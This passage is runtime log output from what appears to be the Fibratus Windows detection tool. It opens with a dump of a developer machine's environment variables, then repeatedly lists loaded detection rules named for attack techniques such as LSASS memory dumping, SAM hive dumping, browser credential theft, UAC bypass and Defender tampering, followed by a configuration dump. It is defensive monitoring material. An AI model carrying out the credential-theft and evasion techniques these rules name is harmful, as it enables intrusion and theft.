(x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T20:59:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:59:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:59:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:59:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:59:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:59:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:59:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:59:58+01:00 level=info msg=bootstrapping with pid 21248. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:59:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-image=>true enable-dns=>false flush-interval=>1s enable-audit-api=>true max-buffers=>36 enable-fileio=>true enable-mem=>false enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-net=>true enable-thread=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient passive=>false durable=>false exchange-type=>topic timeout=>5s vhost=>/ routing-key=>fibratus enabled=>false url=>amqp://localhost:5672] http=>[ serializer=>json tls-insecure-skip-verify=>false method=>POST timeout=>5s enabled=>false enable-gzip=>false endpoints=>[]] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-interval=>10s enabled=>false flush-period=>1s timeout=>5s trace-log=>false bulk-workers=>1 template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-timeout=>5s sniff=>false gzip-compression=>false]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:59:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:00:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:02:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:02:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:02:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:05:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml 